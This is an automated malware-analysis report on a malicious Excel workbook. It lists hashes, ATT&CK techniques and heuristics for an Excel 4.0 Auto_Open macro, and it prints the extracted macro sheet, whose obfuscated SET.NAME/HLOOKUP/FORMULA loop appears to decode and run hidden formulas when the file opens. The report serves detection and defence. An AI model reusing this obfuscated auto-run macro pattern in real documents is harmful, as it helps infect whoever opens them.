Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29b8f19ce1888308…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:18 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: a75e86f3618dae1ba2221303f6f1f0b6 SHA-1: aaa293a28e19772b2cf74e0bbe57c12e38d6e2e5 SHA-256: 29b8f19ce18883087dd2fee413af6c6f63afa3ef6da747e3ea2a2920cbbe654e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The heuristics also flag the use of dangerous formula APIs within the XLM macro, suggesting it is designed to execute commands. While no specific URLs or hashes were extracted, the presence of an Auto_Open macro strongly implies the execution of a malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6515 bytes
SHA-256: 7fb2ea0816daa2ddad0986eda2e321a8ea7fd7a282de41745d2937dabe3ff6af
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RjqnlRg
' 0018     22 LABEL : Cell Value, String Constant - aNxjAdM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D138 
' 0018     25 LABEL : Cell Value, String Constant - BqIsmEGkKD len=0 
' 0018     22 LABEL : Cell Value, String Constant - BxxhloF len=0 
' 0018     24 LABEL : Cell Value, String Constant - bYqyHqbfj len=0 
' 0018     27 LABEL : Cell Value, String Constant - cxaYgkVlemyu len=0 
' 0018     24 LABEL : Cell Value, String Constant - GepuIbvMj len=0 
' 0018     24 LABEL : Cell Value, String Constant - GXoEyRGGg len=0 
' 0018     25 LABEL : Cell Value, String Constant - IWUiCwMjMh len=0 
' 0018     26 LABEL : Cell Value, String Constant - JRHDUDrDVkM len=0 
' 0018     21 LABEL : Cell Value, String Constant - LvcNxV len=0 
' 0018     23 LABEL : Cell Value, String Constant - nXePaGPb len=0 
' 0018     23 LABEL : Cell Value, String Constant - oftfgRkk len=0 
' 0018     27 LABEL : Cell Value, String Constant - OVnNlkhcYpwy len=0 
' 0018     27 LABEL : Cell Value, String Constant - SabgYxhfpzLt len=0 
' 0018     24 LABEL : Cell Value, String Constant - SOkehrjIY len=0 
' 0018     23 LABEL : Cell Value, String Constant - ulYetpZd len=0 
' 0018     24 LABEL : Cell Value, String Constant - vqdTwFtyd len=0 
' 0018     21 LABEL : Cell Value, String Constant - WGchtL len=0 
' 0018     20 LABEL : Cell Value, String Constant - XtLeO len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZGIaCvN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RjqnlRg,D49,"SET.NAME("JRHDUDrDVkM",VALUE("0"))",""
'  RjqnlRg,D53,"SET.NAME("aNxjAdM",JRHDUDrDVkM)",""
'  RjqnlRg,D58,"SET.NAME("nXePaGPb",JRHDUDrDVkM)",""
'  RjqnlRg,D60,"SET.NAME("ZGIaCvN",COUNTA(GXoEyRGGg))",""
'  RjqnlRg,D62,"SET.NAME("LvcNxV",COUNTA(oftfgRkk))",""
'  RjqnlRg,D66,[],""
'  RjqnlRg,D69,"SET.NAME("GepuIbvMj","")",""
'  RjqnlRg,D74,"aNxjAdM",""
'  RjqnlRg,D76,"SET.NAME("XtLeO",HLOOKUP("*",GXoEyRGGg,aNxjAdM,FALSE))",""
'  RjqnlRg,D79,"OVnNlkhcYpwy",""
'  RjqnlRg,D81,"SET.NAME("vqdTwFtyd",JRHDUDrDVkM)",""
'  RjqnlRg,D85,[],""
'  RjqnlRg,D89,"vqdTwFtyd",""
'  RjqnlRg,D93,"bYqyHqbfj",""
'  RjqnlRg,D96,"SabgYxhfpzLt",""
'  RjqnlRg,D98,"ulYetpZd",""
'  RjqnlRg,D103,"SET.NAME("WGchtL",VALUE(HLOOKUP("*",oftfgRkk,ulYetpZd,FALSE)))",""
'  RjqnlRg,D108,"cxaYgkVlemyu",""
'  RjqnlRg,D112,"GepuIbvMj",""
'  RjqnlRg,D116,"nXePaGPb",""
'  RjqnlRg,D121,NEXT(),""
'  RjqnlRg,D126,"IWUiCwMjMh",""
'  RjqnlRg,D128,"SET.NAME("f",INT(T(FORMULA(T(GepuIbvMj)&"",""&T(IWUiCwMjMh)))))",""
'  RjqnlRg,D130,"BxxhloF",""
'  RjqnlRg,D132,NEXT(),""
'  RjqnlRg,D135,RETURN(),""
'  RjqnlRg,D165,"SET.NAME("SOkehrjIY",D49)",""
'  RjqnlRg,D169,"GXoEyRGGg",""
'  RjqnlRg,D174,"SET.NAME("oftfgRkk",R84C14)",""
'  RjqnlRg,D177,"SET.NAME("BxxhloF",187)",""
'  RjqnlRg,D181,"SET.NAME("BqIsmEGkKD",4)",""
'  RjqnlRg,D186,SOkehrjIY(),""
'  RjqnlRg,D187,HALT(),""

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